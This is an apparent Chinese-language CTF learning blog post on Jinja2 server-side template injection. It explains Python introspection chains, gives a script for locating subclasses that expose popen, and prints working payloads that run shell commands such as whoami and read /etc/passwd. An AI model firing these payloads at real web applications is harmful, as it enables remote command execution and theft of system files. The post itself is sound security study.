SSTI(Server-Side Template Injection):服务器端模板注入
碰到SSTI两三次了,对于这种模板攻击也是一知半解的。但今天不一样了,我发现了一位博主蚁景科技的博客,详细的讲解了Jinja2的SSTI注入
模板注入
前几次碰到模板注入,在网上找博客,都看得不是很懂,各种payload也是眼花缭乱,但就是get不到关键的点。看完上面的一篇博客,就基本都明白了。
基础知识:
{% … %} 用来声明变量
{{ … }} 用来将表达式打印到模板输出
{# … #} 表示未包含在模板输出中的注释
在模板注入中,主要使用的是{{}} 和 {%%}
__class__ :用于返回对象所属的类
__bases__ :以元组的方式返回一个类所继承的类
__mro__ :返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有的类
__subclasses__() :获取类的所有子类
__init__ :所有自带的类都包含init方法,常用它当跳板来调用globals
__globals__ :返回当前位置的全部模块,方法和全局变量,用于配合init使用
从上面4步不难看出,整个payload的核心就是去找可以getshell的类。在python中,这种类很多,这就导致payload的模式五花八门。而在上面中,最难的也就是第4步——找到能getshell的类
OK,思路讲完了,开始实操:
使用str,list,tuple,dict中的一种去获取内置类:
"".__class__
获取object基类:
这一步常用的办法有两种:
一:使用__base__获取
"".__class__.__base__
二:使用__mro__获取
"".__class__.__mro__ 这样先查看获取到的数据,确定object类在list中的第几个(一般是第二个或者使用-1去获取object)
所以
"".__class__.__mro__[1] (注意,这里是第二个,python list数据是以0开始的)
获取子类列表:
"".__class__.__base__.__subclasses__()
这样就可以获取到一大堆的子类,我们需要在子类的列表中找到可以getshell的类
寻找getshell类:
在python中当使用popen、subprocess、os.system方法等去调用一个进程并从变量中获取参数时有机会进行注入。所以这些就是我们需要寻找的getshell类。
但是,但是,很重要的一点,你获取的object基类的之模块有好几百个,二你需要这几百个类中找popen方法,emmm,不跑脚本去找的话,可能你会把自己整没的。
所以,下面重点讲下脚本的构造思路:
# 思路:我们可以通过__subclasses__()去获得子模块
# 而我们只要将这些子模块遍历
# 然后遍历子类的方法里面引用的东西
# 来搜索是否调用了我们所需要的方法
# 方法一:用来在本地进行测试find.py
search = 'popen'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i,num)
except:
pass
# 运行这个本地脚本可以帮助我们去判断哪个子类里面有我们需要的方法
# 然后我们就可以去获取网站上的子类所在的下标,并初始化这个子类,来getshell
# 具体实现:(方法一)
# 1. 通过构建peyload —— http://url/id={{"".__class__.bases[0].__subclasses__()}}获取所有的子类
# 2. 将这些子类保存到一个str中,然后跑脚本去找下表
# 代码如下
childClass = """,...,"""
num = -1
searchStr = "第一步过程中获取到的字符串"
classList = childClass.split(",")
for i in classList:
num += 1
if searchStr in i:
print(num, i)
break
# 这样就能获取到下标然后去getshell了。
# 当然了,你也可以是直接使用爬虫来实现对__subclasses__[]的遍历。
# 不过博主比较菜,还写不出来。等后面能写了,再回来补
到这里,我们已经找到了可以getshell的类了,那么接下来就是初始化这个类,并且开始getshell了。
具体操作如下:
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
# 上面的payload中的num是一个具体的数值,有上面第二个脚本跑出来的值
# 上面就等于是在Linux控制台输入了 #whoami
# 其他操作也是一样的。在括号中输入命令。
到这里,你就可以很愉快的去SSTI注入了。当然,前提是你的题的网站使用的是python3并且没有waf。
在python3中还有另一种方法,就是通过__import__方法来实现getshell。这里我就只给payload了,因为实现思路和使用popen是一样的:
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
python2和python3两个版本还是有些差异的,python2中的str类型并不是基类的子类,而是孙子类,所有需要通过两次_bases_[0]来实现。
同时因为python2支持file类的读写。所以可以使用
dir(()._class_.__bases__[0].__subclasses__()[40])
查看内置方法,并使用相对应的下表去操作数据
具体payload如下:
{{().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()}}
#上面的payload用来查看/etc/passwd文件
我这里只讲了我学会了的部分。在 蚁景科技 的这篇博客模板注入中还有其他的一些内容。感兴趣可以去看看。